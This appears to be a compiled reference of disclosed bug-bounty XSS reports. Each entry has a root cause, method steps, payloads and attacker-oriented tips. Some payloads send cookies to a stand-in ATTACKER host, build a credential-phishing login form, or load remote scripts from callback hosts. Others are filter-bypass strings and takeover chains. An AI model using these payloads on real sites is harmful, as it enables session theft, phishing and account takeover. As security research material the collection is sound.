Root cause
Every free-text field of a multi-step worksheet form is stored unsanitized and later rendered to internal legal/reviewer personnel, giving many stored-XSS sinks (reporter counted ~64).
Method
- Fill every text field in the multi-step form with a payload
- Submit; note the payload also fires when the record is later reopened/modified
- Where <script> is filtered, fall back to raw HTML injection (fake login form) for credential phishing
<h3>Please login to proceed</h3> <form action=http://ATTACKER>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>
<script>window.location="http://ATTACKER/?cookie=" + document.cookie</script>
Insight — Internal/back-office record viewers (support, legal, admin panels) are high-value stored-XSS sinks. Test EVERY field, and if script tags are filtered, plain HTML form injection still yields credential-phishing impact.
Real-world example
Rails to_json escapes values but not hash keys -> XSS in inline script
◆ High
Specimen #47280 · rails · awarded · 8 votes · resolved
Program railsSurface web
Root cause
ActiveSupport JSON encoding runs HTML-entity escaping on values but not on hash keys (the json gem calls to_s on keys, dropping the EscapedString wrapper), so a user-controlled key reflected in an inline <script> can break out of it (CVE-2015-3226).
Method
- Find where user input becomes a JSON hash KEY that is rendered via javascript_tag / inline <script>
- Supply a key containing </script><script>...
- The </script> closes the host script tag and your script runs
params = {"</script><script>alert(1)//" => "xss"}
# rendered: <script>var json={"</script><script>alert(1)//":"xss"}</script>
Insight — Serializer HTML-escaping guarantees often cover values but not keys. Whenever user input can become a JSON object KEY that is embedded in an inline <script>, test for </script> breakout. Applies to any framework whose JSON escaper treats keys differently from values.
Real-world example
Markdown renderer allows javascript: links (explicit and autolink)
◆ High
Specimen #84740 · gratipay · awarded · 8 votes · resolved
Program gratipaySurface web
Root cause
A Markdown-rendered profile statement does not sanitize link schemes, so both [text](javascript:...) and the <javascript:...> autolink form produce clickable javascript: anchors that are public and stored.
Method
- Edit a Markdown field
- Insert a javascript: link in either Markdown link or autolink syntax
- Save; visitors who click the link execute the JS
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
<javascript:alert(document.cookie)>
Insight — Markdown fields are a top stored-XSS source: test link-scheme filtering with BOTH [text](javascript:) and <autolink> forms. window.onerror=alert;throw x is a handy no-parentheses exec gadget. Public profile fields make the payload a drive-by for any visitor.
Real-world example
javascript: URL in config field -> exfil in-page API token -> account takeover
◆ High
Specimen #129736 · gitlab · none · 8 votes · resolved
Program gitlabSurface webChain javascript: URL stored in issue-tracker config -> click oTag account-takeover
Root cause
The Custom Issue Tracker integration's Project URL lacks a ^https?:// validator, so a javascript: value is stored and rendered as a clickable link on the public project Issues page; with no CSP, clicking runs JS that reads window.gon.api_token.
Method
- Create a public project
- Settings -> Services -> Custom Issue Tracker
- Set Project URL to javascript:...api_token exfil
- Visiting Issues renders/clicks the link; token is stolen
javascript:alert("Current user its API token: " + window.gon.api_token);
Insight — Any config/integration field that becomes an href without a scheme allowlist is stored XSS. Escalate by reading in-page JS globals (window.gon, __INITIAL_STATE__, api tokens/CSRF tokens) for account takeover. Missing CSP turns inline javascript: URIs into reliable execution.
Real-world example
Stored XSS via document title reflected into inline JS string context
◆ High
Specimen #181816 · informatica · none · 8 votes · resolved
Program informaticaSurface web
Root cause
A document title is printed unescaped inside an inline <script> string literal on the document page; a quote+semicolon breaks out of the string to run arbitrary JS for every viewer.
Method
- Create a document
- Set the title to a JS-string breakout payload
- Publish; any viewer of the document page executes the payload
";alert("XSS in "+document.domain);//
Insight — Titles/names are often echoed into a JavaScript string (var title = "...";). Break out with "; ... // rather than HTML tags. Stored + public = drive-by for all viewers and indistinguishable from server script.
Real-world example
Reflected XSS delivered via clickjacking (self/interaction XSS -> good XSS)
◆ High
Specimen #1221942 · meredith · none · 7 votes · resolved
Program meredithSurface webChain reflected XSS + clickjacking (no X-Frame-Options) -> forc
Root cause
Search param ?s= is reflected with <script> breakout; because the page lacks X-Frame-Options/CSP frame-ancestors, the attacker frames the vulnerable URL and uses clickjacking to force the victim to trigger it.
Method
- Craft the reflected-XSS URL on the search endpoint
- Embed it in an iframe on an attacker page (no framing protection)
- Use clickjacking overlay to make the victim interact and fire the payload, exfiltrating cookies
https://TARGET/shop/all.html?s=%E2%80%98);</script><script>alert(document.cookie)</script>
Insight — Missing X-Frame-Options turns an interaction-dependent/reflected XSS into a deliverable attack: frame the vulnerable page and clickjack the victim into triggering it. Always check frame-ancestors when reflected XSS needs user action.
Real-world example
Stored XSS via unvalidated URL field rendered as clickable link (javascript:)
◆ High
Specimen #1245787 · elastic · awarded · 7 votes · resolved
Program elasticSurface apiTag file-upload
Root cause
Swiftype document url/thumbnail_url fields, set via the indexing API, are later rendered as an anchor href without scheme validation; a javascript: value executes when the admin clicks the link in the document view.
Method
- Create an API-based engine and get the API key
- POST a document with url=javascript:alert(1) via the documents API
- Open the document in the dashboard and click the rendered link
curl -X POST 'https://api.swiftype.com/api/v1/engines/ENG/document_types/TYPE/documents.json' -H 'Content-Type: application/json' -d '{"auth_token":"KEY","document":{"external_id":"x","fields":[{"name":"url","value":"javascript:alert(1)","type":"enum"}]}}'
Insight — Any field labeled url/link/website/callback that gets emitted into an href is a stored-XSS sink if the scheme isn't allowlisted (http/https). Data pushed via API often skips the UI's sanitization - test the API path, not just the form.
Real-world example
XSS on browser privileged origin via reader-mode chain (Brave iOS)
◆ High
Specimen #1438028 · brave · awarded · 7 votes · resolved
Program braveSurface mobile-iosChain uuidKey leak via Referer (ReaderViewLoading.html) -> unva
Root cause
Two weaknesses chained: ReaderViewLoading.html omits the referrer-suppression meta so the secret uuidKey in the reader URL leaks via Referer; SessionRestoreHandler restores URLs without validation, so a javascript: URL executes on the privileged internal:// origin.
Method
- Serve a page opened in Reader mode; navigate out via ReaderViewLoading.html to leak uuidKey through Referer
- Use the leaked uuidKey to craft a session-restore URL carrying a javascript: payload
- SessionRestoreHandler restores it and runs JS on internal://local
javascript: URL passed to SessionRestoreHandler using the leaked uuidKey (privileged internal:// origin)
Insight — Mobile browser XSS is about reaching privileged internal: origins - chain a secret/nonce leak (missing referrer policy) with a lax URL-restore/handler that doesn't scheme-validate. Diff sibling HTML templates for inconsistent security meta tags.
Real-world example
Reflected XSS via unsanitized exception/stack-trace error page
◆ High
Specimen #232320 · informatica · none · 6 votes · resolved
Program informaticaSurface web
Root cause
A path/query value that must parse as an integer is echoed verbatim into a Java stack-trace error page (NumberFormatException.forInputString) that is served as HTML without escaping.
Method
- Find an endpoint expecting a numeric id in the path/param
- Append HTML into it to force a parse/type error (e.g. append <svg/onload=...>)
- If the framework returns a debug/error page reflecting your input, XSS fires
http://doc.TARGET/infocenter/.../nav/7_1_2_3_2_1<svg/onload=alert(document.domain)>
Insight — Verbose error and stack-trace pages are a reflection sink developers forget to encode. Deliberately trigger type/parse errors on numeric or typed parameters to reach that reflection. Fix is usually 'disable stack traces', which confirms the sink.
Real-world example
javascript: URI scheme filter bypass with control chars / newlines
◆ High
Specimen #273960 · vkcom · none · 6 votes · resolved
Program vkcomSurface web
Root cause
A link field (OAuth app name / login-widget URL) blocks the literal 'javascript:' scheme, but browsers strip control characters and newlines inside the scheme, so injecting \x03 or \n splits the keyword and defeats the blacklist while still executing.
Method
- Find a field whose value becomes a link and where javascript: is blocked
- Insert a control char or newline inside the scheme keyword
- Iterate variants until one is stored/reflected and still parsed as javascript: by the browser
javas\x03cript:alert(1);//
url=Java%0aScript:alert(2);//
url=%03JavaScript:alert(1)//
url=data:text/html,%3Cscript%3Ealert(1)%3C/script%3E
Insight — URL-scheme blacklists are trivially bypassed: browsers ignore tabs/newlines/NULs and other control bytes embedded in 'javascript:'. Always fuzz the scheme with %00-%1F and case variation; also try data: URIs. Note the delivery trick - the stored value fired when the victim reached the page via browser back/history.
Real-world example
Directory-listing filename XSS (unescaped filename in file server)
◆ High
Specimen #309641 · nodejs-ecosystem · none · 6 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
Static-file servers built on old connect directory.js (and similar) emit each filename into the auto-generated directory-listing HTML without escapeHtml(), so a file named with HTML executes when someone browses the listing.
Method
- Get a file with an HTML-bearing name into a served directory (upload, git, shared folder)
- Name it to break out of the anchor: "><iframe src="malware.html"> (/ is illegal in filenames, so use iframe/img rather than <script src>)
- Place the referenced HTML/JS alongside it
- Browse the directory listing; the browser parses the injected markup
filename: "><iframe src="malware_frame.html">
// or simply: <img src=x onerror=alert(1)>
// malware_frame.html: <script src="malware.js"></script>
Insight — Any component that renders filenames/paths into HTML is an XSS sink - directory indexers, file managers, upload lists. Root cause here is a missing escapeHtml() that modern serve-index added; fingerprint the dependency version to know if it's vulnerable. Because '/' is banned in filenames, pivot from <script src> to <iframe>/<img> loading a sibling file.
Real-world example
Stored XSS via file upload served as text/html
◆ High
Specimen #1081994 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
An upload form accepts arbitrary file content/extension and later serves the file inline with a text/html content-type, so an uploaded .html/.txt containing script executes in the app origin when viewed.
Method
- Find an upload form that stores files under a web-reachable path
- Upload a file containing HTML/JS (e.g. a .html)
- Recover the stored file URL (DevTools / response / path pattern)
- Open the URL directly; script runs in the site origin
<html><body><script>alert(document.domain)</script></body></html> (uploaded, then browse to /Data/<id>_file.html)
Insight — Any upload endpoint that returns the stored file inline is a stored-XSS sink even if the app is ASP.NET. Test .html/.svg/.xml uploads and check the response Content-Type and Content-Disposition; inline text/html = executable.
Real-world example
Search XSS: GET redirect-filter bypassed via POST, into JS string
◆ High
Specimen #200034 · informatica · none · 5 votes · resolved
Program informaticaSurface web
Root cause
The search q param is reflected into a JS string (localStorage.setItem("searchTerm", "q")). GET requests are sanitized by a 302 redirect that strips special chars, but the same q sent via POST skips that redirect and reflects raw, allowing JS-string breakout.
Method
- Observe q reflected into localStorage.setItem JS string
- Confirm GET special chars are stripped by a 302 redirect
- Send q via POST to the same endpoint
- Break out of the JS string with "-alert()-"
POST /search-solr.jspa HTTP/1.1
Host: TARGET
q=%22-alert%28document.domain%29-%22
Insight — A sanitizing redirect only guards GET; POST the same parameter to bypass it. For JS-string sinks use the "-payload-" concatenation breakout instead of tags.
Real-world example
Stored XSS via uploaded image filename/title
◆ High
Specimen #202951 · informatica · none · 5 votes · resolved
Program informaticaSurface webTag file-upload
Root cause
An uploaded document/image's title (taken from the filename) is stored and rendered unescaped in the document edit view; setting the title to an XSS payload executes for anyone editing the document, and enabling open collaboration widens the victim pool.
Method
- Upload a document/image whose title/filename is the payload
- Set visibility open and allow anyone to edit (collaboration)
- Any user opening Edit Document triggers the stored XSS
"><svg onload=alert(1)>.jpg
Insight — Filenames and media titles are stored-XSS sinks - inject markup into the filename before upload and check every rendering surface (edit/collaboration/admin view). Sharing/collaboration settings turn self-XSS into cross-user.
Real-world example
Stored XSS by uploading HTML to a trusted CDN bucket then serving it through an image proxy
◆ High
Specimen #216822 · coursera · none · 5 votes · resolved
Program courseraSurface webChain Unauthenticated file upload (no type validation) -> file Tag file-upload
Root cause
A third-party processing service (transloadit) performs no file-type validation and stores attacker HTML in the app's trusted S3 bucket; the app's imageproxy trusts that bucket host and fetches/serves arbitrary content, so an uploaded .html executes JS on the app origin.
Method
- POST an HTML file (Content-Type text/html) to the unauthenticated transloadit assembly endpoint used by the profile-photo flow
- Read the assembly result (/assemblies/<hash>?seq=0) to learn the uploaded file URL on coursera-profile-photos.s3.amazonaws.com
- Request it through the image proxy: https://www.coursera.org/api/utilities/v1/imageproxy/http://coursera-profile-photos.s3.amazonaws.com/.../stored_xss.html so it is served same-origin and the script executes
POST /assemblies/[hash]?redirect=false HTTP/1.1
Host: isadora.transloadit.com
Content-Type: multipart/form-data; boundary=---B
---B
Content-Disposition: form-data; name="my_file"; filename="stored_xss.html"
Content-Type: text/html
<html><script>alert(document.cookie)</script></html>
---B--
Insight — Chase file-upload -> trusted-origin -> proxy chains: whenever an app has an image/URL proxy that whitelists its own CDN/bucket, find any way to plant an HTML file in that bucket (weak upload validation, third-party pipeline) and the proxy will serve it same-origin as XSS. Image proxies should force Content-Type/Content-Disposition, not trust the origin.
Real-world example
Stored XSS via Less/CSS preprocessor JS evaluation (backtick eval + @plugin)
◆ High
Specimen #858874 · elastic · awarded · 5 votes · resolved
Program elasticSurface web
Root cause
Kibana TSVB markdown panels compile user-supplied Less. Old Less (javascriptEnabled) evaluates JavaScript inside backticks in a Less expression, and the @plugin directive loads and executes arbitrary remote JS, so saved Less becomes stored XSS fired when another user edits/views it.
Method
- Create a TSVB visualization -> Markdown -> Panel options
- Put a Less payload that evaluates JS in backticks into the custom CSS/Less editor
- Save; when another authenticated user opens/edits the Less, the JS executes
- Stealthier: use @plugin to load remote JS (no .js extension needed)
body { color: `confirm('XSS')`; }
// stealth plugin variant (loads+runs remote code):
@plugin "https://attacker.tld/cxss";
body { color: `confirm('XSS')` }
Insight — CSS/style preprocessors are code, not just styling. Less (javascriptEnabled), older Sass, and template CSS can evaluate expressions and load plugins. Any feature accepting 'custom CSS/Less/Sass' is an RCE/XSS sink: test backtick JS and @plugin/@import to remote. Fix: Less>=3 with {javascriptEnabled:false} and block @plugin.
Real-world example
Blind stored XSS in request/support form fields rendered in admin panel
◆ High
Specimen #1017189 · deptofdefense · none · 5 votes · resolved
Program deptofdefenseSurface webChain Public form input -> admin-panel render -> admin-sessiTag account-takeover
Root cause
A public request/registration form (Description field) stores input without sanitization and later renders it in an internal admin review page, so a payload with an out-of-band callback executes in the administrator's browser (blind XSS) rather than the submitter's.
Method
- Submit the public request/registration form with a blind-XSS callback payload in a free-text field (e.g. Description)
- Payload is stored and delivered to admins when they review the request
- Callback fires in the admin's session, exfiltrating cookies/DOM/URL to the attacker
"><script src=//your-blindxss-handler.tld></script>
// use XSSHunter/interactsh-style beacons that report referrer, cookies, DOM, and the admin's URL
Insight — Any field that a low-privileged/anonymous user submits but an admin/staff later views (support tickets, registration requests, abuse reports, contact forms, User-Agent/Referer logs, order notes) is a blind-XSS target. Seed every such field with a callback payload and wait. Impact is admin-context execution -> credential theft/ATO.
Real-world example
Stored XSS to admin ATO to RCE via mass-assignment + unescaped toastr error
◆ High
Specimen #1132202 · rocket_chat · none · 5 votes · resolved
Program rocket_chatSurface webChain extraData mass assignment (bypass name validation) -> stoTag account-takeover
Root cause
createRoom merges an attacker-controlled extraData object into the room without validation (mass assignment), letting the attacker set an XSS payload as the room name. When an admin edits the room, the invalid-name error is returned and passed to the toastr library without escaping message/title, executing the payload; admin context then enables incoming-webhook script -> server RCE.
Method
- As a normal user, call createChannel with extraData overriding name to an XSS payload
- Invite the admin to the channel
- Admin edits the channel title and saves; getValidRoomName reflects the bad name into an API error
- handleError passes the error to toastr without escaping message/title -> XSS in admin browser
- Use admin privileges to create an incoming webhook with a script (executed server-side) -> RCE
Meteor.call('createChannel', 'valid-name', [], false, {}, { name: 'edit me <img src onerror=alert(origin)>' })
Insight — Two-part chain worth reusing: (1) mass-assignment/extraData merges let you smuggle payloads into normally-validated fields; (2) toast/notification/error-message libraries are overlooked HTML sinks - look for error strings that reflect user input passed to toastr/notify without escapeHtml. Then leverage admin-only server-side scripting features (webhooks/integrations) to turn XSS into RCE.
Real-world example
Stored XSS via javascript: URI in a template button's URL field
◆ High
Specimen #237927 · mixmax · none · 4 votes · resolved
Program mixmaxSurface web
Root cause
A user-supplied URL for a 'call to action' button is rendered into an href without scheme validation, so a javascript: URI stored in a shared template executes when another user (e.g. a team admin) clicks the button.
Method
- Open the template editor and add a 'call for action' button
- Put arbitrary text as the button label and a javascript: payload in the URL field
- Save the template so it is shared/reused
- When a team manager/admin opens the template and clicks the button, the script runs in their context
javascript:alert(document.cookie)
Insight — Any field that accepts a URL and is later reflected into an href/src is an XSS sink if the scheme is not whitelisted to http/https/mailto. Always try javascript:, data:text/html, and vbscript: URIs in link/button/redirect fields. Stored variant weaponizes shared templates against higher-privileged reviewers.
Real-world example
Stored XSS in JavaScript string context via profile name
◆ High
Specimen #190217 · informatica · none · 4 votes · resolved
Program informaticaSurface webChain Stored XSS fires cross-user when viewing attacker profile -&Tag account-takeover
Root cause
First/last name are interpolated into an inline JavaScript string with the surrounding quotes unescaped (var pageNameDTM = "NAME LASTNAME"...), so name input breaks out of the JS string literal rather than the HTML context.
Method
- Set profile name/lastname to a JS-string-breaking payload
- View the profile page (viewable by other accounts) which emits the name into an inline <script>
- Payload executes when another user opens the profile
"-alert(document.domain)-"
Insight — When input lands inside an inline JS string (analytics/DTM/dataLayer variables are common), the breakout is quote+expression+quote ("-payload-"), not <script> tags; view-source to confirm the exact context before crafting the payload.
Real-world example
WordPress MailPoet reflected XSS via base64-encoded param
◆ High
Specimen #200355 · eternal · none · 4 votes · resolved
Program eternalSurface webChain Admin-targeted reflected XSS -> session token theft / admTag account-takeover
Root cause
MailPoet Newsletters <=2.7.2 decodes an encodedForm (base64 JSON) parameter and reflects an inner field (after_widget) unescaped, so the XSS payload is smuggled inside base64/JSON to reach the sink.
Method
- Identify the wysija-page endpoint (?wysija-page=1&controller=subscribers&action=wysija_outter)
- Build the JSON {"form":"Pwn","after_widget":"<script>...</script>"} and base64-encode it
- Pass it as encodedForm; have an authenticated admin open the URL
https://TARGET//?wysija-page=1&controller=subscribers&action=wysija_outter&encodedForm=eyJmb3JtIjoiUHduIiwiYWZ0ZXJfd2lkZ2V0IjoiPHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4ifQ==
Insight — When a parameter is base64/JSON-encoded, decode it, inject into the inner fields, and re-encode - filters and WAFs rarely inspect nested encoded structures. Track disclosed WP plugin XSS by version for quick wins.
Real-world example
Stored XSS via unrestricted HTML file upload served same-origin
◆ High
Specimen #854445 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
Upload feature (certificate attachment) does not restrict content-type/extension; an uploaded .html is served inline from the app origin, executing arbitrary JS.
Method
- Register and go to the certification upload
- Upload xss.html containing a script
- Open the attachment URL in a new tab -> script runs on app origin
<!DOCTYPE html><html><body><script>alert(document.cookie)</script></body></html>
Insight — Any upload that is later served from the application origin with an HTML content-type is stored XSS. Check the served Content-Type and disposition of your uploaded file.
Real-world example
Stored XSS via account name fields across SSO account pages
◆ High
Specimen #1072616 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webTag oauth
Root cause
First/last name registered on an account are rendered unescaped on account/profile pages, including those reached through an OAuth SSO flow.
Method
- Register an account with name set to an img onerror payload
- Log in and navigate to the account page
- Stored payload executes
<IMG SRC=X ONERROR=ALERT(1)>
Insight — Profile name fields are classic stored-XSS sinks; check where the name is echoed downstream (SSO account pages, admin panels, receipts) - the render location may differ from the input form.
Real-world example
Stored CSS injection via markdown 'marked' unescapeHTML + DOMPurify style bypass
◆ High
Specimen #1401268 · rocket_chat · none · 3 votes · resolved
Program rocket_chatSurface webTag account-takeover
Root cause
Rocket.Chat's 'marked' markdown renderer calls unescapeHTML(message.html) before rendering, letting users inject raw HTML; DOMPurify.sanitize then only strips script-level XSS and leaves <style>/style attributes, permitting persistent CSS injection into the whole chat window (CVE-2022-35251).
Method
- Enable the 'marked' markdown parser (Admin > Message > Markdown)
- Send a message containing raw HTML with a fixed-position <div> or a <style> block
- Because unescapeHTML restores the HTML and DOMPurify allows style, the CSS is stored and applied for every viewer of the channel
<div style="position:fixed;top:6px;right:0;height:50px;width:400px;background:rgb(255,0,0);z-index:3">foobar</div>
foo
<style>
[data-username="victim"] div div p{background:rgba(255,0,0,.2);font-size:0;}
[data-username="victim"] div div p::after{font-size:initial;content:"hacked";}
</style>
Insight — When an app un-escapes user HTML before a sanitizer runs, DOMPurify with default config still passes <style>/style attributes, so CSS injection persists even where scripts are blocked; use attribute-selector CSS ([data-username]) to overwrite/hide targeted users' messages (integrity attack) or overlay UI. Look for unescapeHTML/decodeEntities calls upstream of sanitize().
Real-world example
Stored XSS via filename rendered in a web file-manager directory listing
◆ High
Specimen #341044 · nodejs-ecosystem · none · 2 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Web file servers/managers (cloudcmd, buttle via outdated connect directory.js) render filenames into the directory-index HTML without escaping, so a crafted filename becomes markup.
Method
- Create a file whose name is an HTML breakout payload
- Serve/browse the directory via the file manager
- The directory index reflects the filename and the payload executes for any viewer
touch '"><svg onload=alert(3);>' # cloudcmd
touch '"><iframe src="malware_frame.html">' # buttle/connect (iframe variant)
Insight — Filenames are an under-tested stored-XSS source. Any app that lists user-supplied filenames (file managers, uploads listings, log viewers, git browsers) - create a file named "><svg onload=...> and view the listing.
Real-world example
Stored XSS via hidden edit GET param exposing a markdown editor
◆ High
Specimen #1631447 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface web
Root cause
A hidden edit-mode toggle (edit=true GET param) referenced in page HTML source unlocks an authenticated-looking markdown/WYSIWYG editor on a public page; markdown content is stored and rendered without sanitization, so injected HTML/JS runs for every visitor.
Method
- View page source of the target page and grep for hidden/disabled controls (href="...?edit=false", class="hidden") that reveal a GET param
- Toggle it: visit login.aspx?edit=true to reveal the hidden markdown editor
- Enter an XSS payload into the editor and click Save
- Payload is stored and executes for anyone loading the base page
<svg/onload=alert(1)>
Insight — Always read the raw HTML of interesting pages for hidden edit/admin toggles gated only by a GET/query param. Unlocking a hidden editor on a public page turns markdown/WYSIWYG rendering into a persistent, unauthenticated stored XSS.
Real-world example
Third-party analytics param from location.hash injected into inline JS
◆ Medium
Specimen #146336 · slack · awarded · 454 votes · resolved
Program slackSurface web
Root cause
A URL fragment parameter (cvo_sid1) is passed into a third-party (Convertro) script inside live.js without sanitization; a smuggled second param (typ) using unicode-encoded ampersand generates malformed JS enabling injection.
Method
- Put payload in location hash: cvo_sid1=111 then smuggle typ= via \u0026 (encoded &)
- typ value breaks out of the generated JS
- Use %3b in place of blocked semicolons
https://slack.com/is#?cvo_sid1=111\u0026;typ=55577]")%3balert(document.cookie)%3b//
Insight — Analytics/marketing SDKs (Convertro, etc.) often read params from the URL/hash and interpolate them into inline JS. Test each hash/query param for reflection into <script>; use encoded delimiters (\u0026, %3b) to smuggle extra params past client parsing.
Real-world example
Supply-chain stored XSS via tag manager (Tealium) missing account authz
◆ High
Specimen #256152 · uber · USD 6000 · 51 votes · resolved
Program uberSurface webChain tag manager IDOR/authz flaw -> stored XSS across all embeTag supply-chain
Root cause
Tealium did not verify that the user creating a tag was authorized for that account, so an attacker could inject arbitrary content into utag.js served across all Uber domains that embedded it.
Method
- Identify third-party tag manager (utag.js / tiqcdn.com) loaded on target
- Create/modify a tag for the victim's account (no ownership check)
- Malicious content is served via utag.js into every page embedding it
Insight — Third-party tag managers and marketing SaaS embedded across a company's domains are a single point of stored XSS; test whether tag/config creation checks account ownership. Bounty follows impact even when the vuln is in a third party.
Real-world example
DOM XSS via exposed old Swagger-UI configUrl parameter
◆ Medium
Specimen #1444682 · shopify · 9400 · 239 votes · resolved
Program shopifySurface webChain exposed Swagger-UI -> DOM XSS -> localStorage token th
Root cause
An old Swagger-UI is exposed at /classicapi/doc/ and honors ?configUrl=data:text/html;base64,... which loads attacker-controlled config/spec, resulting in JS execution in the app origin; localStorage authToken then enables account takeover.
Method
- Find exposed Swagger-UI (e.g. /classicapi/doc/, /swagger)
- Load ?configUrl=data:text/html;base64,<base64 of {"url":"https://attacker/test.yaml"}>
- Attacker YAML/config drives XSS / phishing render
- Read localStorage authToken to take over the authenticated session
https://TARGET/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9hdHRhY2tlci9wLnlhbWwiCn0=
Insight — Fingerprint Swagger-UI/Jamf at scale; older builds allow configUrl/url params pointing at attacker data: URIs or specs -> DOM XSS. Tokens stored in localStorage (authToken) make it a straight ATO.
Real-world example
DM/compose deeplink text param HTML injection with mXSS obfuscation
◆ Medium
Specimen #341908 · x · awarded · 236 votes · resolved
Program xSurface web
Root cause
The text parameter of a Direct-Message compose deeplink is DOM-injected without proper filtering; a mutation/obfuscated payload injects arbitrary HTML tags on the twitter.com origin (CSP blocked script exec but HTML injection stands).
Method
- Build a DM deeplink /messages/compose?...&text=<payload>
- Use nested/broken-tag obfuscation to survive the filter
- Tweet the deeplink; opening it injects HTML
text=%3C%3C/%3Cx%3E/script/test000%3E%3C%3C/%3Cx%3Esvg%20onload%3Dalert%28%29%3E%3C/%3E%3Cscript%3E1%3C%5Cx%3E2
Insight — Compose/prefill deeplink params (text, body, subject) are DOM-injection sinks. Obfuscate with nested broken tags (`<</<x>svg onload=>`) so the parser rebuilds a live tag the sanitizer missed.
Real-world example
Stored XSS via nested markdown tags -> Electron file read + RCE
◆ High
Specimen #1014459 · rocket_chat · none · 24 votes · resolved
Program rocket_chatSurface webChain Stored XSS in message -> JS exec in Electron renderer witTag account-takeover
Root cause
The message markdown parser mishandles nested markdown tags, allowing injection of arbitrary JavaScript into any message (CVE-2021-22886). In the Electron desktop client (nodeIntegration), the stored XSS escalates to arbitrary local file read and remote code execution.
Method
- Craft a chat message using nested markdown tags that break the parser's escaping
- Send it to any channel/DM; it renders and executes for every viewer (stored/persistent)
- On the Electron desktop app, use the JS context (Node APIs) to read local files and achieve RCE
Insight — Markdown/rich-text renderers that recursively process nested tags are prone to escaping-order bugs. In Electron apps with nodeIntegration, any XSS is effectively RCE (require('child_process'), fs) and privilege escalation across all users of a shared server.
Real-world example
Config override via incomplete Partial<> schema -> XSS
◆ Medium
Specimen #1082847 · superhuman · awarded · 223 votes · resolved
Program superhumanSurface web
Root cause
A ?config= query param was JSON-parsed and validated against a Partial<> TypeScript schema, but live code read properties NOT present in the schema (account.subscription, api.redirect, desktop.*.installURL); those unlisted keys passed validation untouched and flowed into navigation sinks and download URLs.
Method
- Craft app.grammarly.com/docs/new?config={...} setting an unlisted property to a javascript: URL
- Trigger the code path (free user 'Upgrade', paid user 'Subscription' menu) that navigates to that property
- alert(document.domain); or swap desktop install URLs to attacker binaries without XSS
https://app.grammarly.com/docs/new?config={%22account%22:{%22subscription%22:%22javascript:alert(document.domain)//%22},%22api%22:{%22redirect%22:%22javascript:alert(document.domain)//%22}}
Insight — Allowlist-schema validation is only as safe as its completeness: with Partial<>/open object schemas, any property the schema forgot is unvalidated but still consumed. Diff the live config object against the schema to find unguarded keys; look for URL/navigation/download sinks among them.
Real-world example
postMessage origin-check bypass via ftp:// scheme
◆ High
Specimen #210654 · slack · awarded · 15 votes · resolved
Program slackSurface webChain origin bypass -> XOXS token disclosure (MITM)Tag account-takeover
Root cause
A postMessage origin allowlist did not account for non-http(s) schemes; an FTP origin satisfied the check, letting an attacker with MITM/local-network position read sensitive data (XOXS tokens) sent via postMessage.
Method
- Analyze the postMessage handler's origin validation logic
- Deliver messages from an ftp:// (or other non-http) origin that the allowlist mishandles
- Receive the leaked token data (requires MITM/local-network position)
Insight — When auditing postMessage origin checks, test unusual/unexpected URL schemes (ftp:, file:, blob:, data:) and null origins — allowlists frequently assume http/https only. String-prefix or endsWith checks are especially fragile.
Real-world example
Reflected XSS via redirect (ReturnUrl) param with javascript: filter bypass
◆ Medium
Specimen #438240 · starbucks · awarded · 181 votes · resolved
Program starbucksSurface webTag open-redirect
Root cause
The sign-in ReturnUrl parameter is reflected/used to build a link and its javascript: filter is defeated with embedded control characters, tabs and double URL-encoding; JS runs right after authentication.
Method
- Craft ReturnUrl with obfuscated javascript: (control chars/tabs, double-encoded)
- Send victim to the signin URL; after login the payload executes
- Same pattern works across regional domains (.ca/.co.uk/.de/.fr...)
https://TARGET/account/signin?ReturnUrl=%19Jav%09asc%09ript%3ahttps%20%3a%2f%2fTARGET%2f%250Aalert%2528document.domain%2529
Insight — For redirect/return-url params, if a plain javascript: is filtered, inject control chars (%09 tab, %19), whitespace and a second layer of URL-encoding to slip past the blocklist. Test every regional/locale mirror once one works.
Real-world example
Reflected XSS via mixed-case event handler + no-space attribute injection
◆ Medium
Specimen #1145162 · shopify · awarded · 174 votes · resolved
Program shopifySurface web
Root cause
A search q parameter is reflected into a tag/attribute context where a case-sensitive filter misses mixed-case handlers and slash/no-space attribute separation defeats naive matching.
Method
- Inject into the q parameter
- Use a mixed-case event handler and no-space/slash separation
- Mouse over the element to fire
https://TARGET/blogsearch?q=OnMoUsEoVeR=prompt(/hacked/)//
Insight — Blocklists that match 'onmouseover' lowercase are beaten by OnMoUsEoVeR; slashes and comment tails (//) can replace spaces/quotes. Always fuzz handlers in random case and with alternative separators.
Real-world example
Stored XSS via program asset identifier rendered across multiple views
◆ Medium
Specimen #449351 · security · 2500 · 155 votes · resolved
Program securitySurface web
Root cause
An 'asset' identifier set on a program is stored unsanitized and rendered in several places (program scope page, submitted report, edit view), each a stored-XSS sink; a backtick-call payload avoids parentheses.
Method
- Add an asset of type Others with the payload as its identifier
- Trigger it on the program page, in a submitted report, and in the asset edit view
"><img src=x onerror=prompt``>
Insight — One unsanitized config field (asset/scope identifier) often renders in multiple UI surfaces; enumerate every place it's echoed. prompt`` / alert`` (tagged template) fires without parentheses when () is filtered.
Real-world example
Stored XSS via data:image/svg+xml URL in rich-text image src
◆ Medium
Specimen #1276742 · shopify · 5300 · 150 votes · resolved
Program shopifySurface web
Root cause
Rich-text editor allows data: URLs as image sources; an SVG encoded in the data: URL carries an onload script. <img> won't run it, but opening the image directly (data->blob) renders the SVG as a document and executes the script in the app origin.
Method
- Create a product/page with an <img src="data:image/svg+xml;base64,..."> where the SVG has an onload handler
- Open the resulting image in a new tab
- SVG executes as a document; script runs same-origin (can hit /admin via XHR)
<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KGRvY3VtZW50LmRvbWFpbikiPjwvc3ZnPg==" alt="">
// decoded: <svg onload="alert(document.domain)"></svg>
Insight — Anywhere data: image URLs are accepted, an SVG data: URL is a stored-XSS vector once the image is opened directly (the browser promotes it to a document). Escalate with same-origin XHR to /admin. Fix pattern: convert data: -> blob:.
Real-world example
